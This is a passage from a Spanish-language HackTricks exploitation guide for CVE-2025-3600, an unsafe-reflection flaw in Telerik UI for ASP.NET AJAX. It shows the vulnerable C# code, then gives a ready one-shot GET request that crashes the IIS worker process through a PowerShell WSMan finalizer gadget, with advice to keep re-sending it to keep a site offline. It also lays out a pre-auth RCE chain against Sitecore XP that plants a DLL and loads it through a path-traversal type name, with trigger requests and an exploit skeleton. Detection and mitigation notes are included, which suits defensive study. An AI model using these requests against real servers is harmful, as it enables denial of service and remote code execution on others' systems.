private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Primitiva de explotación: cadena de tipo controlada → Type.GetType la resuelve → Activator.CreateInstance ejecuta su constructor público sin parámetros. Incluso si la solicitud se rechaza después, los efectos secundarios del gadget ya se han producido.

## Universal DoS gadget (no se requieren gadgets específicos de la aplicación)

Clase: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper en System.Management.Automation (PowerShell) tiene un finalizador que libera un handle no inicializado, provocando una excepción no controlada cuando el GC lo finaliza. Esto provoca de forma fiable que el IIS worker process se bloquee poco después de la instanciación.

Solicitud DoS de un solo disparo:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notas

• Sigue enviando periódicamente para mantener el sitio offline. Puedes observar el constructor siendo alcanzado en un depurador; el crash ocurre en la finalización.

De DoS a RCE – patrones de escalada

Unsafe constructor execution desbloquea muchos gadgets y cadenas específicas del objetivo. Busca:

1. Parameterless constructors that process attacker input

• Algunos ctors (o static initializers) leen inmediatamente Request query/body/cookies/headers y (de)serializan los datos.
• Ejemplo (Sitecore): una cadena de ctor alcanza GetLayoutDefinition() que lee el HTTP body “layout” y deserializa JSON vía JSON.NET.

2. Constructors that touch files

• Ctros que cargan o deserializan config/blobs desde disco pueden ser forzados si puedes escribir en esas rutas (carpetas uploads/temp/data).

3. Constructors performing app-specific ops

• Restablecer estado, alternar módulos o terminar procesos.

4. Constructors/static ctors that register AppDomain event handlers

• Muchas apps agregan AppDomain.CurrentDomain.AssemblyResolve handlers que construyen rutas de DLL a partir de args.Name sin sanitización. Si puedes influir en la resolución de tipos puedes forzar cargas arbitrarias de DLL desde rutas controladas por el atacante.

5. Forcing AssemblyResolve via Type.GetType

• Solicita un tipo inexistente para forzar la resolución del CLR e invocar los resolvers registrados (posiblemente inseguros). Ejemplo assembly-qualified name:

This.Class.Does.Not.Exist, watchTowr

6. Finalizadores con efectos secundarios destructivos

• Algunos tipos eliminan archivos en rutas fijas dentro de los finalizadores. Combinado con el seguimiento de enlaces o rutas predecibles, esto puede permitir una escalada de privilegios local en ciertos entornos.

Ejemplo de cadena RCE pre‑auth (Sitecore XP)

• Paso 1 – Pre‑auth: Activar un tipo cuyo ctor estático/instancia registra un manejador AssemblyResolve inseguro (p.ej., FolderControlSource de Sitecore en ControlFactory).
• Paso 2 – Post‑auth: Obtener permiso de escritura en un directorio examinado por el resolver (p.ej., mediante un auth bypass o una subida débil) y plantar una DLL maliciosa.
• Paso 3 – Pre‑auth: Usar CVE‑2025‑3600 con un tipo inexistente y un nombre de ensamblado que contenga traversal para forzar que el resolver cargue la DLL que plantaste → ejecución de código como el IIS worker.

Ejemplos de trigger

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Notas de validación, hunting y DFIR

• Validación segura en laboratorio: Disparar la payload DoS y observar el reciclado del app pool/excepción no controlada vinculada al finalizador WSMan.
• Hunt in telemetry:
• Solicitudes a /Telerik.Web.UI.WebResource.axd con type=iec y valores de prtype extraños.
• Cargas de tipo fallidas y eventos AppDomain.AssemblyResolve.
• Caídas/reciclados súbitos de w3wp.exe tras dichas solicitudes.

Mitigación

• Actualizar Telerik UI for ASP.NET AJAX a la versión 2025.1.416 o posterior.
• Eliminar o restringir la exposición de Telerik.Web.UI.WebResource.axd cuando sea posible (WAF/rewrites).
• Ignorar o endurecer el manejo de prtype en el servidor (la actualización aplica comprobaciones adecuadas antes de la instanciación).
• Auditar y reforzar controladores personalizados de AppDomain.AssemblyResolve. Evitar construir rutas a partir de args.Name sin sanitización; preferir cargas con strong-name o listas blancas.
• Restringir ubicaciones de upload/write y evitar drops de DLL en directorios sondeados.
• Monitorizar intentos de carga de tipos inexistentes para detectar abuso del resolver.

Hoja de referencia

• Comprobación de presencia:
• GET /Telerik.Web.UI.WebResource.axd
• Buscar el mapeo del handler en web.config
• Exploit skeleton:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>

• Universal DoS:

...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

• Activar resolver:

This.Class.Does.Not.Exist, watchTowr

Técnicas relacionadas

• IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

• ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referencias

• Progress Telerik – Unsafe Reflection Vulnerability (3600)
• watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
• Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
• ZDI – Abusing arbitrary file deletes to escalate privilege
• watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
• Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.